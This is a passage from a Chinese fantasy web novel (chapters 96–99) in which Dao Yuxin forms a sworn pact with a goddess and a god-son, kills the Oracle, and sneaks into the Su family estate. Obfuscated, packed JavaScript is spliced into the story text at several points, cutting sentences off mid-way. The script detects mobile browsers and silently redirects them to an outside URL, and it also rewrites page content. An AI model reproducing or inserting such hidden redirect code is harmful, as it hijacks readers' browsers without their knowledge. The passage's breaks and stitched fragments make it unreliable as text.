他宁愿自己承受更多的苦痛也不愿意看到她陷入更深的泥潭,他痛恨自己无法改变一切。 胸口处像被一团雾气压抑连带着攥住呼吸,他不怎么开心。 耐心听完这份倾诉,刀语心从纸袋中拿出一个司康喂到谢止沉唇边。 她每时每刻都能感受到那些失去能力的灰白枝桠在意识海中摇曳,在此时此刻她也能捕捉到面前之人的情绪。 她说:“没关系的。” “只要杀了她就会拿回来属于我的一切。” 只要杀了那些操纵命运的人,就可以拿回属于他们的一切。 当她拥有足够的力量将病因祓除,她也能够用力量保护自身和自己想要保护之人,到那时他们便不再会被操控,不再会被迫走在自己所厌恶的道路上。 再者,她和他都拥有重塑自己命运的权力,无论何时无论何地。 “所以,没关系的。” 比起那些被夺走的东西刀语心此刻更希望谢止沉能开心一些,不过就算他无法立即从低落情绪中走出来也没事,她会陪着他,就像他曾经陪着自己那样。 她抱着纸袋朝他伸出手,侧过头笑着询问:“晚上想吃什么?” “我们去吃火锅吧。”谢止沉没有犹豫,牵上那双为他带来温暖的手。 天边的坠日带走最后一丝光彩,夜晚月色晦暗,树影摇曳。 饭后他们走在回去宅邸的路上,第一次进入乘坐载具是因为要掩人耳目,过后便不用再每次都如此出入。 突如其来的叫喊声将寂静的夜色打破。 “跑!快跑!”撕心裂肺的声音从不远处传来。 只见路对面的拐角处冲出一个孩子,在他身后是一群红衣人追兵,年幼的孩童脸上带着无法言说的恐惧,惊慌失措间他腿脚一软被绊倒在逃离的路上。 见此,刀语心眉头蹙起。 又是狂信徒,他们到底想干什么?如果他们只是要找她的话,为什么要迫害毫不相干的人? 她不打算视而不见,转身朝对面走去。谢止沉也知晓刀语心的打算,他先一步将小孩从地上扶起,由于伪装的身份莱恩并不是医师他只是暗中将疼痛消去并没有将受伤的伤口直接复原。 而刀语心挡在他们身前。 “你算什么东西?敢来多管神殿的闲事?”为首的狂信徒见到自己的好事被破坏而出声斥责,他们在外大多都借着神殿狐假虎威。 “我家大小姐做事还轮不到你来指指点点。”扮作莱恩的谢止沉直接抽剑。 “哟,东部的人?”狂信徒没有错过他剑柄上的蔷薇花纹,动作虽有片刻停顿但他不打算就这么退缩,“你们又凭什么在中央城嚣张跋扈?我们这是在执行许可的任务,少来碍事!” 既然敢借神殿之名强行闯入私人领地,这些狂信徒显然不是什么善茬。 看他如此急切地想要把小孩抓走,刀语心明白这狂信徒不想让他的真实目的暴露,其中必然有什么不为人知晓的隐情,于情于理她都不可能让开。 珠光宝气的法杖在她手上浮现,她将攻击一端对准狂信徒。 “你做梦。”大小姐冷脸说道。 在对峙进入白热化阶段时,又有一队人员朝着他们所在之处赶来,比起那袭让人不安的血红色长袍,这些人身上所穿戴的是白与金交织的神圣长袍。 这才是真正的神殿信徒。 为首之人也曾和刀语心有过一面之缘,是在无名镇神殿见过的神女,不过现在她身旁没有跟着另一个神子。 比起初见时的温柔似水,此刻的神女脸色并不好看,谁都看得出来她很生气。 神女冲到狂信徒的面前怒气冲冲地质问着:“你到底要做什么?败坏神殿的名声就算了,为什么要闯入无辜之人的房屋还要抢走他们的孩子?” “我这不都是为了神明大人,祂让我们搜集那个人……” “少给我来这一套。特征外貌性别全都对不上,你哪里来的理由行动?” 见自己的动机被拆穿,狂信徒烦躁地退让,举起双手做势偷袭:“好好好,尊贵的神女,我错了,我道歉。” 狂信徒只是嘴上这么说,他身上完全没有感受到任何歉意存在。 “不过,您虽任神职贵为神女,但可不要越俎代庖。我所作所为全都是为了神明大人,也只有神明大人祂能够审判我的对错。” “你!”很明显神女并不善于在这种口舌之争上压他一头。 取得短暂胜利后,狂信徒狠狠地剜了刀语心二人一眼,他冷笑着带着人离开:“我们走。” 刀语心毫不退让地回瞪,咬人的狗是会记仇的,但也是会死的。 神女并没有执着于惩治狂信徒,孩童见到狂信徒走后就扑到她的怀里,她蹲下身子将受惊的孩童安抚,又亲自将他送到他的父母面前。 “谢谢您,千渡大人,还好您及时赶来了,不然我们真不知道该怎么办才好。” “也不完全是我的功劳,还有两位好心人……” 说着千渡转过身,可在见到刀语心的那一刻她脸上的神色瞬间凝固,她这才发现狂信徒一直在寻找的人就在自己面前。 这极为明显的转变当然逃不过刀语心的眼睛,她知道,神女这是看透了她的伪装。 对此,她勾起一个不达眼底的微笑。 这笑容没有丝毫安抚作用,反而让千渡更加心慌,她从未觉得自己拥有天赐的双眼是如此多余。 她脊背发寒,这是本能正意识到自己正在遭受威胁,在尚未察觉间致命的攻击已然将她包裹,而现在的她完全无法在短时间内逃出这二人的攻击范围之内。 这一次是刀语心先迈出一步打破僵局,作为那时在无名镇千渡救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我可以解释……” 还没等千渡开口,又一个问题传来:“为什么你会在秘苑的地盘?” “你怎么又定位我!”听到这话的千渡情绪激动地质问道。 “我到了。” 千渡无奈扶额。 将这场景收入眼中,刀语心忽然间察觉到千渡其实从来都不是高高在上的神女大人,她是一个鲜活的人。 “那个……”还没等千渡和刀语心解释情况,敲门声就响起。 下一刻仿生人就接到刀语心的指令将门打开,身为神子的昭临提着长戟就来到千渡的身旁。 “我带你离开。” “等等!你误会了!”千渡神色有些惊慌。 看着这一幕,刀语心倒是一点也不着急,神子的闯入只代表她的筹码更多了一些。 “其实他也没误会什么。”说着,她从座椅上起身,直直看向千渡。毕竟选择只有两个,要么千渡同意和她合作,要么他们两人全都死在这里。 “我们合作吧,我会帮你找到在暗中威胁中央城的毒瘤。” 96. 第 96 章 “你就是想利用她。”神子直截了当地反驳。 “对,我承认。”刀语心并没有任何被揭穿的不适,她本就不在乎名义上的好坏,“之所以说是合作而不是单方面利用,就是因为我也可以给她带来想要的报酬。” “千渡,你难道想看见更多的孩子被人从家里抢走吗?”刀语心在凭着直觉下注,就算没有这一出,也会有其他不可言说的阴谋。 还想说什么的昭临被千渡一把拽住,她垂着眼眸,思索片刻后回应。 “我……不想。” 身为神女神子的他们看起来表面上风光无限,可千渡很清楚他们所做的都有局限性,作为神殿的一员所作所为都必须以神为基准。 最直接的例子就是在吴德屠杀翼蜥龙裔一族时,她无法直接越过拥有神令的吴德中止行动,类似的事情还有很多。 她沐浴在神的光辉下,代价就是她无法亲手将那些流淌在暗处的余毒排除干净。 而刀语心如今正潜藏在阴影之中,这是千载难逢的机会。在千渡看来彼此利用并不是绝对的坏事,换个更温和的形容便是她们各取所需。 “我答应与你合作,我不会将有关你们的事情告知狂信徒。” 说完后千渡侧身看向昭临,他用几秒沉默来表达自己的抗议,随即就折服:“我也不会。” “但在缔结誓约之前,先和我打一架吧,我要确定你的承诺不是一纸空谈。”昭临握紧手中的长戟向前一步,虽说千渡的所愿就是他的目标,但他也不希望千渡被白白欺骗。 听到这话千渡神色慌忙双手合十朝刀语心拜托:“别把他打死了!” “没问题。”刀语心应下。 他们在宅邸后院找了一片空地,在月光的照耀下,一场不算友好的切磋即将开始。 两相隔一段距离,刀语心的目光最先落在对手的武器上,整体有一定的磨损但并没有太多污垢,甚至得到很好的保养足以看出对方的爱护,思及至此她开口道: “如果这柄长戟对你有不可替代的意义,你最好换一把,不然我会熔断它。” 这是一个好心地提醒,但将自己的目的毫无保留地告知也未尝不是一种狂妄的自信。 昭临选择听劝拿出备用武器,他暗暗下定决心在放水考察对方实力的同时不会轻易让刀语心得逞。 只是在下一刻,他就眼睁睁看着自己手中的武器化作液体流走,接着在对方手中化作一把长矛之前朝他迎面冲来。 耳边只剩下凛冽的破空声和千渡的惊呼,他差点就死了。 凭着战斗本能躲过致命一击,昭临却没有丝毫劫后余生的庆幸,他知道这还是刀语心手下留情的前提。 没有过多惊讶的时间,又有无数攻击朝他袭来 他堪堪用自己不怎么熟练的防御术式抵挡,可一直退让不是好事,他必须寻找机会转守为攻。 关键在于,刀语心到底是怎么把他的武器融化? 异化之力藏在阴影之中,灭灵剑接连不断的狠厉攻击让昭临难以察觉问题所在。 不断发动进攻逼退对手的刀语心想法很简单,这不是故意为难反而是一个绝佳的机会,让她看清自己和战斗职业人员之间差距的机会。 昭临是五十级战士,除开一开始的出其不意后面他就越来越得心应手。 作为战斗职业他拥有着许多刀语心从未见识过的职业技能和天赋,朝他迎面而去的攻击被徒手接下,异化之力也需要一定的时间去渗透。 她只得反手握住剑柄朝他腹部踹去重新拉开距离。 从战斗中刀语心也能够逐步感受出自己和他之间的差距,知道差距在哪里,那她就可以从另一方面弥补,用他没有的东西。 异化之力不再躲藏,从阴影中席卷而出咆哮着想要将敌人吞噬在黑潮之中。 见这些漆黑力量袭来的瞬间,昭临也明白这既是攻击也是媒介。 他将自己的长戟覆上一层保护,利刃划出一弯银月将眼前的黑潮斩断,他抓住机会使用技能朝刀语心攻去,一股炙热的力量自他躯体中出现连带着将周围空气点燃,而他也感受到身后传来的阴冷。 视线的边界出现一些黑影,他必须向前,也只能向前,他挥舞着长戟连带着灼人的热浪。 见此,刀语心同样握紧手中的剑迎难而上。 在利刃相对的前一刻,泛着金光的屏障挡在二人中间,在两股可怖力量对撞的前夕将其平稳消退。 “够了!你们再打下去这片地方都会被毁了的。”千渡站在他们之间,作为裁判抬手宣布这场比试到此结束。 “难缠的对手。”昭临先一步收回自己的长戟,在他的回忆中很少有人能让他如此费劲应付。 明明是锻造师却超脱规则束缚,只不过代价也显而易见。 “彼此彼此。”刀语心能够感受到那一击若不是千渡挡下她会受到不小的伤害,但昭临也不会讨到多少好处就是了。 “事不宜迟,我们开始起誓吧。”话落,千渡脚下就出现复杂精密的洁白法阵,将三人笼罩其中。 谢止沉作为见证者,刀语心和千渡昭临则是起誓者。 “我们,向世界意志起誓。” 晦涩难懂的古老语言从千渡口中说出,法阵也随着她的言语而逐步扩大旋转。 温暖的白光短暂将刀语心的眼底照亮,冥冥之中,刀语心感受到一股连接在他们之间建立,这就是他们立下的誓约。 离别前夕她和千渡交换了通讯码,“等着你的好消息。” 二人离开后空旷的宅邸又恢复了往日的寂静,刀语心几步向前坐在后院的椅子上,而谢止沉慢半步走到她对面坐下询问: “刚才的战斗感觉如何?” “可以应对。” 除开不使用武器纯靠□□强度的武者,其余战斗职业只要被夺走武器战斗力就会断崖式下降,虽说昭临有了应对之法但刀语心同样可以在此条件下强化自己的技能。 “我想知道世界意志是什么?”她撑着脑袋看向谢止沉。 “和亚空间意识差不多,只是它更加完整并且负责整个世界必要的平稳运转,它们几乎不会出现在个体生命的视野之中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301008|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “浩劫也是世界运转必要的一环吗?” “不是。” “还记得我和你说过的类比吗?每个世界就是一片树叶但并不是要存活在树干之上,本该是一叶孤舟的众多世界却被强行连接,造就了无数世界的恶果。” 建立起桥梁将世界链接的谢止沉在无形之间成为那些利欲熏心者的帮凶。 “那些人借此四处掠夺,从各个世界寻找营养来供给自身,而据我所知,这个世界被定下的职责是用来存放世界熔炉,以及作为谋反者的流放之地。” “所以,神其实也是被流放的?” 随即猜想被谢止沉证实,“如果是好用的刀那一定会被留在身边。” 未知和强大力量给祂蒙上一层神秘色彩引得众多信徒争相为之叩拜,但究其本质,存于此世的神明是被遗弃的存在。 将目前的状况用线条一点点相连,刀语心站在线索墙面前,手中拿着羽毛笔轻转。 距离宴会的这段时间,谢止沉准备去亚空间寻找解除诅咒的材料,刀语心则是留在中央城暗中找人。 只是主教不在,巫津躲起来了情报贩子还没传来有用的消息。 “啪。” 羽毛在微颤,笔尖则已经钉在占星会的徽记之上,绽开的墨汁在周围晕染。 剩下的唯一人选便是无法离开占星会的天启者。 占星会的地盘也在东区,刀语心绕开巡逻盘查的狂信徒,依照记忆中的模样扮作沈辞,来到星空盘旋的圆弧穹顶之下。 戴着面纱的卜者迎上前来:“沈辞先生,您有什么需要?” “我来和天启者禀报要事。” 听到这话后卜者眉头微微蹙起,“您来得不巧,这周的面见份额已经被预订完了,只能安排在之后……请稍等。” 卜者临时收到指令。 “她说,她现在可以见您。”一颗星星在她手中诞生,“顺着指引前去吧,天启者在等您。” 前后不一致的话术,看起来很明显是陷阱呢。 但那又何妨? 刀语心没有多加犹豫,道谢后便跟随星辰离开。 通往天启者所在之地的道路布满迷雾,似是一个大型法阵,若无破局之法贸然闯入就是一场无解死局。 她一步步走在道路之上,她不知道何时才是尽头。 在保持警戒的空隙她还有时间胡思乱想,好在占星者救世会这两者和狂信徒一行有所不同,并不打算把她赶尽杀绝。 因为前者需要对她进行无休止地利用。 终于,引路的星星逐渐溃散,她来到道路尽头。 在最后的光芒消失殆尽后,在一片黑暗中她面前的大门缓缓打开。 层次递进的蓝在刀语心的眼中晕染开来,洁白的封闭空间中是一位似在沉睡的女性,无数软管隐匿在蓝绿交织的长发之中。 眼前从未见过的神秘景象本该让她感到震撼,可不知为何,刀语心却莫名觉得天启者如同提线木偶。 “你来了。” 震颤她躯体的声音在空间回响。 97. 第 97 章 只见天启者微微抬手,星河围绕在她周围流转,一枚星星落在她的指尖。 “你的命运被遮盖,但沈辞的没有,况且,即使没有预言我也能感受到你。”话语随着无形的视线落下。 若说众生皆为星辰,那刀语心注定是最为耀眼的那一颗,那光彩炙热、夺目、难以忽视。 自始至终天启者没有睁开那双被遮蔽的眼眸,置身其中的刀语心有种伪装全被看穿的感觉,她卸下伪装,踏上这命中注定的舞台。 抬头仰望着那如同神祇一般的高大身躯,本该神圣无瑕的高位者如今却染上一抹阴翳。 “那你应当知道我为何而来。” “自然。” 在遥不可及的过去就已写下今时今日的注解。 “我会在不久的未来死去,死在你的手中,这是我注定的命运。在迎来我既定的终局之前,你需要给我足够的理由来换取你想要的一切。” “那么,你想要什么?” “我有一些问题想让你解答,一个答案换一个问题,当然,你也可以选择直接杀死我。” 面对这样的选择,刀语心没有过多犹豫地选择前者。 “说说看吧。”先不说天启者会不会反抗,再者此刻她正处于敌人的巢穴中,更何况,刀语心也想知道更多关于另一个世界以及自己的信息。 “尤妮斯·墨菲,这是那位前去无名镇祭司的名字。” “我记得他们。”祭司、牧师、剑士。 “自从那孩子死去后,我被一种陌生的情感所困。” 一滴透明的水滴,在刀语心眼前炸开,她这才发现那位于天启者眼眸之上的圣洁白纱之所以阴翳,是因为早已无数次染上泪滴。 提问的声音一如既往的没有起伏,可那其中的哀痛不加遮盖。 “为什么我会如此痛苦?” 所以,对全知的预言家来说,未知的反而是自身的情感吗? 这问题的答案并不算难,刀语心同样给予毫无起伏的回应:“你在乎她,你不想她死,她的结局和你期望的相反,所以你痛苦。” “……这样吗?接下来你可以向我提问。” “你从何处而来?” “树的顶端,最初的世界。” “最初?”刀语心产生质疑,“从何认定那就是最初?” “‘我们诞生的世界,就是最初。’那些人是这么定义的,试图探寻这份答案是否正确的人,会被他们杀死。” 对此天启者没有任何情绪流露,只是刀语心觉得有些荒谬可笑,“那些人又是哪些人?在那个世界中掌握话语权的群体?” “等你回答完我的第二个问题,我就告诉你答案。” “好吧。” “你认为,既定的命运是否能被改变?” “可以。”说完刀语心勾起嘴角,看向天启者所在的顶端,“身为天启者的你正在产生质疑,这不正是最好的答案吗?” “……” “他们,是打破世界壁障的人,他们发现原初海域并在其中发现原初之种的存在。他们创造神明,掌控神明,再借由神力创造更多桥梁,将所有位于顶端之下的世界视为耗材。” 超出问题范畴的回答,刀语心自然将其视为额外奖赏和示好。 “还有什么要问的全部说出来吧,我总觉再一问一答拖下去后会发生什么不好的事情。” “很敏锐呢,那——你为什么要杀了她?” 没有指名道姓,但刀语心很清楚天启者问的人是那位祭司。 “她打算杀了我,所以我就先杀了她,这是理所应当。”刀语心稍显疑惑,她不明白天启者为什么会问谜底摆在谜面上的问题。 “你在责怪我?可将你自己连同我们都当作棋子的人,不正是你吗?就像你只记得在意之人的名字,我也只在乎我所在乎的东西。” 这是不可调节的冲突。 “你在乎什么?” “……这也是你想知道的答案?” “是。” “无可奉告。” “是那位在无名镇上的军官,还是那条混血小蛇?亦或是那位一直陪在你身边的旧神?” “你想我现在就杀了你吗?” “抱歉,好像是我越界了。” “没关系。”刀语心无所谓地回应。 她倒也不觉得天启者是故意的,对方拥有极强的预知能力,但在这些事情上就像是涉世未深的孩童。 “最后一个问题,你认为你能改写你的命运吗?” 短暂沉默后,刀语心握紧了自己手中的剑,直视天启者那双紧闭的眼:“虽然不知道你们为我写下的命运是什么,但是,我能。” “我所获得的结局,只会是我想要的那个。” 这就是刀语心的答案。 “天启者大人!”闯进来的人看到站在正中的刀语心倒吸一口凉气,“黑发黑眼!是那个预言中的恶魔!” “有意思,又来一个昵称,前不久可还有人叫我救世主呢。”刀语心拿起剑,准备动身离开。 “等等。”天启者的声音幽幽传来,进入在场所有人的耳中。 她说:“杀死我吧,刀语心。” “很抱歉,我骗了你。”预言中的天启者并不会在今天死去,“这其实是我为自己写下的结局。” “至于你还没问出的问题,答案是你身上的诅咒不是我施下的,那人已经去到另一个世界被严密保护起来。” 闻言,刀语心将剑插入地面。 “那就祝你和想见的人在地狱相会吧。” “……谢谢。” 黑色的潮水将一切覆盖、吞噬,而后摧毁,唯有最后一点星光在混乱之时没入刀语心的指尖。 占星会众人忙着拯救自愿赴死的天启者,没人愿意直接对上刀语心,这位预言中的魔鬼,她没费多少力气就隐入黑暗脱身离开。 接下来做什么呢? 又变换了一副模样的刀语心走在中央城的街道上,那点星光在她的掌中,其中充满澎湃的力量,是她缺失的异化之力源头。 被夺走的东西还剩下一样,职业树最后一根灰白色枝桠。 “……请保持秩序,我们准备了热汤和救济券,救世会理解你们的苦难。来来,让这位哭泣的孩子先领——对,镜头往这里拍。” 停下漫无目的的步伐,刀语心扭头看向人群熙攘的地方。 真巧啊。 她转身朝那走去。 从来往人群的讨论声中,刀语心知晓今天是救世会每月固定的行善日。 “真可惜这次来的不是救世会主教,不然会有更多东西可以领。” “哦?那来的是谁?”她出声询问。 “救世会的副手吧,好像是叫作巫津来着。”被询问之人看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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和巫津的惊慌失措不同,现在发生的一切都如刀语心所料,巫津定是和狂信徒有所勾结才敢出现在大庭广众之下。 她此行也不是为了能够一举杀死巫津,这是一场狩猎预告。 躲开狂信徒的攻击,她鬼魅般地出现在巫津身后,在他没有察觉到的时候,脖颈已经出现一道血痕。 “那就比比谁更有耐心好了,看是我先如你所愿被狂信徒抓住,还是你先被我抓到弄死。” “我们来日方长。”话落,刀语心隐入黑暗。 从恐惧中回神后,巫津上前几步满是愤怒对着狂信徒大声埋怨:“喂!你们不去追她吗?” “你以为是我们不想吗?要是有你说得那么容易就好了,你当我们狂信徒死在她手里的少吗?”为首之人没有过多在意,一次不成还有第二次,至于巫津?只是诱饵罢了。 “说到底还不是你们废物。” “被她吓得屁滚尿流的人我看是你才对吧?”对方面露讥讽,“你想活着,就少对我们呼来喝去的。你的靠山还没回来吧?跳得越高只会死得越快哦。” “你!” “我们走,你自己好自为之,回家路上小心别被她杀了哦。” 该死的。 一场闹剧过后,只留下巫津阴沉地站在原地。 98. 第 98 章 拿回自己的东西,又恐吓了巫津,刀语心此刻心情十分不错。 她全然不在意自己的举动在中央城掀起多少风浪,如同死神一般敲响下一扇门。不过这次不是为了收割性命,而是为了拿绿绮寄给她的礼物。 敲门声响起,还没等屋内之人的同意,她就径直打开门走进。 在处理事务的迟明煦看着无声无息出现在自己面前的人,心中有些许猜测: “刀语心?” “猜对了。”她打了个响指,不再伪装变回原样。 “刚把天启者杀了,又去把救世会的救济日搅浑,然后就来我这,该说你艺高人胆大吗?” “可以。” 她不会拒绝对自己的夸奖,拉开椅子就在迟明煦对面坐下。 迟明煦能够感受得到在离开无名镇后她变了很多,但她依然还是他记忆中的那个人,所以他很明白她不是专程来找自己的。 “这是绿绮托我给你带的东西。” “谢谢。” 一颗璀璨的橙黄宝石、几枚坚硬的雪白鳞片、一些很可爱的玩偶,玩偶上面附带一张纸条:我不在你身边,就让它们保护你吧。 “还有这匹钥匙,裴队长让我代为转交。”迟明煦将其抛向刀语心。 “在你离开的这段日子里无名镇在进行大规模基础设施建造,这是她特地为你规划建造的房屋,她让我转告等你回去后可以搬进去。” 完全算得上是惊喜的礼物足以让刀语心脸上浮出浅浅笑意。 这所有的一切都是她与这个世界存在连接的证明,她知道在这个世界的某个地方还有人在等着她的回归。 “我准备给她们买一些回礼,你帮我注意一下吧,我会付钱的。”她答应了等谢止沉回来一起挑选。 “好——所以你不准备给我买礼物吗?” “大少爷,你有什么得不到的吗?” 他默默注视着对方,最终只得先一步妥协:“这种事情不应该是你来想吗?” 对此,刀语心两手一摊表示无能为力。 “来做个交易吧,帮我打开你们联合财团的宝库,作为代价我欠你一个人情。”这是她此行的目的之二。 “我能询问你想这么做的原因吗?” “我需要一个材料,大概率就在宝库之中。” 说着刀语心话头一转,“如果不答应的话我们就会成为敌人,你想成为我的敌人吗?” 这是明晃晃的威胁,却也是既定的事实。在迟明煦记忆中刀语心的敌人往往没有很好的下场,他没有过多犹豫就答应下来。 “作为一个合格的商人我不会选择回报率更差的方案。”当然,他的私心的确掺杂其中。 “有什么需要早些和我说,我有预感我不会在这里待太久。”她挥挥手告别离去。 也就在这时,她想起自己收了定金还欠宋齐一把剑。 -会长都和我说过了,刀语心小姐我会尽力帮上你的。 -那把剑如果可以的话就麻烦做得华丽一点吧!预算部分无上限,有其他需要请尽管开口! 华丽?是完全不考虑实用性的意思吗? 第一次面对这样的需求,刀语心感到有些许棘手。 那就朝金光闪闪的方向堆砌元素吧?用料足够的话,攻击性也不成问题。或许直接用闪瞎眼的宝石当作攻击手段也不是不行。 很快就到了苏家宴会当日。 在仿生人女仆的装点下,梳妆镜中倒映的人是全然陌生的模样:华丽的衣裙,不菲的首饰,以及一头灿如黄金的长发。 盯着属于维罗妮卡的金发,刀语心低头抬手捋起自己的发丝在看见原本的黑色时安心了一些。 她并不质疑伪装成他人的必要性,只是总归有些不喜。 用于伪装的颈环也被她改良为臂环,鉴于设计此物的创造者也在中央城,刀语心还特地附上一层使其难以洞悉的刻印。 “嗨~亲爱的,准备好了吗?” 身为维罗妮卡家族的执事,罗茜也用伪装出的模样来到刀语心面前,如火的红发变成暗沉的棕色,却压不住罗茜本身的明媚。 “大概?”刀语心眼中少见地闪过迟疑。 她毕竟不是真正的大小姐没法对这些名流宴会得心应手,她更擅长杀人,而不是应付人。 “没准备好也没关系,不用太大压力。”罗茜来到她身后双手轻轻放在她的肩上,眼神中带着柔和的笑意看着她。 “若你不愿就不必理会那些想和你攀谈的人,其余难缠的人只用给对方冷脸就可以了。” 秘苑在东部掌握着足够的筹码让她们的大小姐位居高位。 “谢医师还没回来吗?需不需要我给你安排其他人打掩护?”罗茜本意是想让刀语心去随便玩玩,但刀语心主动提出要去找一些见不得人的东西。 看着少女眼中的跃跃欲试,很显然比起宴会上各怀鬼胎毫无意义的交谈,刀语心更喜欢给苏家制造一点惊喜。 于是罗茜并没有否决,反而是为刀语心寻来了一份苏家换班时间表,正在她手边不远处。 不知何时刀语心闭上眼,再睁开时已经带来先前问题的答案。 “他回来了。” 下一刻,赤红流光闪过,手中拿着一束花的谢止沉来到她们所处的空间之内,几步上前,他将手中的鲜花递到刀语心怀中。 “礼物。”他低头眼中倒映着刀语心。 超远距离传送太过耗神,以至于脸色有点苍白。 “没事吧?不行的话你先在宅子里休息吧。”她一个人也没问题。 “不用担心。”他更想陪她一起。 “离晚宴开始还有一段时间,不着急,先好好休息吧,我在外面等你们。”罗茜笑着把空间留给了他们两人。 迟来的脱力席卷他的身躯谢止沉的身躯在控制不住地晃动,刀语心蹙着眉迅速起身扶住他,他有些担心自己弄皱她身上的礼服打算稍微保持距离。 只是刀语心完全没有察觉到他的打算,径直拉着他在一旁坐下,语气有些抱怨但她放下花的动作很轻。 “还说自己没事,这个宴会也不是什么大事,下次不用这么着急赶回来的。” 闻言谢止沉笑着摇头,“我答应过你的,只是一时间力量耗费太多。” 思及至此,他又恨起自己的无能。 还没等品尝过千百次的滋味重新涌上心头,他就被刀语心拥住,她为他制造了一个用于休息的舒适角度。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313641|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “礼服会被我弄皱的。”谢止沉声音有些闷闷的。 刀语心任凭他在自己耳边轻喃。 “比起礼服和宴会,你对我而言更重要。” 单方面付出若是无法接受就会有些沉重和感到负担,对刀语心来说这并不是问题,只是她希望谢止沉能更在乎自己一些。 毕竟他也是她珍重的人。 听到这话的谢止沉先是一怔,随即嘴角勾起笑容,身体放松下来更加贴合着刀语心的怀抱。 “我找到了解决诅咒的方法,但需要你和我一起离开这个世界。” 这个世界的法则并不完整甚至可以说是破碎不堪,无法支撑施展完整的大型术式去解决刀语心身上的三重诅咒。 “来回需要多少时间?” “按照这个世界的流速,最短也需要半年。” “等到这里的事情结束后,你就带我去吧。”刀语心本就不打算拿着神令去老老实实前往神域成为待宰羔羊,她目前需要找到锻造神阶武器的最后一份材料。 “好,只是……我有些害怕。”他抱着刀语心的力度无意之间加重。 对谢止沉来说,刀语心身上的诅咒和炸弹无异,是随时随地会失去的可能性。 明白他不安的刀语心安抚性地拍拍他的后背,“没关系的,只要我身上还有利用价值,只要他们无法找到下一个替代品,我就不会死去。” 心疼、痛恨、自责……种种情绪交织让谢止沉心中五味杂陈,最终化作无言而漫长的拥抱。 至少此刻,他们还在彼此身旁。 华贵大门前车水马龙,来往都是在中央城算得上的名流贵族。 罗茜先一步离开载具和苏家人交谈,在寒暄时他们的视线不由得被罗茜身后的一抹金灿吸引。 身为侍卫的谢止沉抬起手臂让刀语心的手搭上,而她也借此提着裙摆从载具中离开,不被遮盖的光彩无差别映入在场之人的眼中。 金灿的发丝宛若高悬的太阳,没人不被日光照耀。 “夜安,阁下。”她简单颔首以示问候。 “维罗妮卡大小姐东部第一美人的称号果真名不虚传。” “您过誉了。”即便语气冰冷,但身份的尊贵并不会让他人产生任何僭越之心。 “那就祝您拥有一个愉快的夜晚。” “谢谢。” 贵族晚宴无非是觥筹交错,拉拢同一阵营感情,交换情报,进行合作,一系列利益置换。 明白刀语心的想法,只要有人想靠近她搭话便会被谢止沉笑吟吟地拦下:“不好意思,我家大小姐需要独处的空间。” 觥筹交错,这种宴会大多是一种社交,而刀语心对社交毫无需求。 中央城也不过是神明用来观赏的鸟笼。 在一声声失陪中,刀语心先一步逃到无人打扰的花园中。 路上她不着边际的打量着庄园的构造,将其一一和心中记下的地图对应,无形的线路浮现在她的脑海之中。 确认四周无人也没有任何监视设备后,她偏向谢止沉确认一眼。 “等我回来。”她轻声说道。 看见谢止沉微微点头,随即她的身影消失,取而代之的则是维罗妮卡的木偶。 99. 第 99 章 漆黑身影融入夜色,刀语心绕开守卫朝主宅书房走去,有罗茜和迟明煦的帮助,入侵可以说是轻而易举。 鞋跟接触地面,黑暗中传来轻不可闻的微弱响声,她悄然翻越窗户来到室内。 手指轻轻掠过那些堆叠在桌上的文件,她没有停留。这里没什么价值的信息,不可言说的秘密通常隐藏在暗处。 她迈开步子,走了几步又回头折返,用脚步丈量出的距离和她所获得的图纸对不上。 刀语心的手掌抚上一面墙壁,也就是说,这里有一个密室。 异化之力以她为中心向外扩散逐步摸索这个房间,咔嗒一声,暗格已经被摁下。 原本紧闭的墙面开始旋转,无边黑暗被昏黄灯光点亮。 木质长桌横在狭小空间中,刀语心走近,浏览着桌上没有处理完的信件:秦家在问苏家能不能找到替代品。 得到的答案是否定。 下一封信件中,有一个小巧终端,连接导出文件后,刀语心看见上面出现的是熟悉的人影。 莉莉安、雪姬,还有她自己。 …… 她有那么一瞬间忘记自己此行的目的。 这是她们在水泽谷的照片,大多影响重点在雪姬身上,那些赏金猎人接到的悬赏和苏秦两家有关。 他们和雪姬的过去有关。 雪姬的血拥有升阶特效,初见时她那么自然地用血为代价和自己利益置换,恐怕都是过往留下的烙印让她做出那样的选择。 拿着信件的手已经攥紧,深吸一口气,刀语心去搜索着其余有用信息。 将其余信息快速浏览后,她知道下一次交易地点是在老地方,只是还需要更为详细的信息来确定他们的地点。 目光移向密室角落中嵌在墙上的保险柜。 “砰——” 她已经用剑刃暴力破开。 